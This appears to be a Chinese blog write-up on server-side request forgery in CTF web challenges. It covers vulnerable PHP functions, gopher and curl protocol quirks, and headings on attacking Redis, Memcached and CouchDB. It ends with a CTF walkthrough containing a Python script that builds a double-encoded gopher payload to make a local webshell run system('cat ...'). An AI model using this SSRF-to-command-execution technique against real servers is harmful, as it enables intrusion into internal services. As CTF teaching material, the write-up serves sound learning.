CTF Web-SSRF

CTF Web-SSRF

  • 1.SSRF 常见场景:
  • 2.SSRF 常见后端实现
    • 2.1 file_get_contents
    • 2.2 fsockopen
    • 2.3 curl
    • 2.4 总结
  • 3.SSRF 利用思路
    • 3.1 利用Curl自带协议进行攻击
    • 3.2 利用SSRF攻击本地服务
    • 3.3 攻击数据库&缓存
      • 3.3.1 redis
      • 3.3.1 Memcached
      • 3.3.3 CouchDB
  • 4.SSRF 案例

1.SSRF 常见场景:

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import &Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
    在这里插入图片描述

2.SSRF 常见后端实现

2.1 file_get_contents

在这里插入图片描述
这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

2.2 fsockopen

在这里插入图片描述
这段代码使用 fsockopen 函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

2.3 curl

在这里插入图片描述
使用 curl 获取数据。

2.4 总结

高危函数:
file_get_contents()
fsockopen()
curl_exec()

区别:
大部分 PHP 并不会开启 fopen 的 gopher wrapper 。
file_get_contents 的 gopher 协议不能 URLencode 。
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败 。
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用 。
curl_exec() //默认不跟踪跳转。
file_get_contents() // file_get_contents支持php://input协议。

3.SSRF 利用思路

3.1 利用Curl自带协议进行攻击

在这里插入图片描述

3.2 利用SSRF攻击本地服务

在这里插入图片描述

3.3 攻击数据库&缓存

3.3.1 redis

在这里插入图片描述

3.3.1 Memcached

在这里插入图片描述

3.3.3 CouchDB

在这里插入图片描述

4.SSRF 案例

访问题目如下:
在这里插入图片描述
dirsearch扫描发现robots.txt文件,可以看到webshell提示。
在这里插入图片描述
访问webshell
在这里插入图片描述
利用file协议读取webshell源码,发现必须是POST 协议,且必须从本地127.0.0.1发起。
在这里插入图片描述

根据webshell源码提示,本地搭建环境尝试利用
在这里插入图片描述
本地利用成功后,尝试使用gopher协议利用目标站点。这里注意由于是SSRF探测,是利用目标主机再次进行http请求。所以利用gopher发送数据包时候需要进行两次URL编码(以下test文件代表请求的http数据包)。
注释:
1.urllib.quote()是python url编码函数
2.将%0A替换为%0D%0A,是对因为BP中截取http请求包进行URL编码的时候,不会对换行编码为\r\n,而是\n,但http协议中的换行符是\r\n,所以需要进行转换。
3.gopher协议中,第一个字符是无效的,所以我们需要在数据包前加一个任意的字符,这里加的下划线 ‘_’。
4.Content-Length长度要根据具体情况变化。
在这里插入图片描述
exp如下:

import urllib
test = '''
POST /webshe11231231231.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e1tlue40nk6gjkjiod5drl2t58
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

hacker=system('cat fl1234aaaaaggggg.php');&admin=h1admin
'''

tmp = urllib.quote(test)
new = tmp.replace('%0A','%0D%0A')

result = '_'+urllib.quote(new)
##gopher://127.0.0.1:80/result结果
print result;

利用exp生成访问的URL数据包
在这里插入图片描述
使用ls查看目录下有哪些文件

在这里插入图片描述
使用cat查看flag内容。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值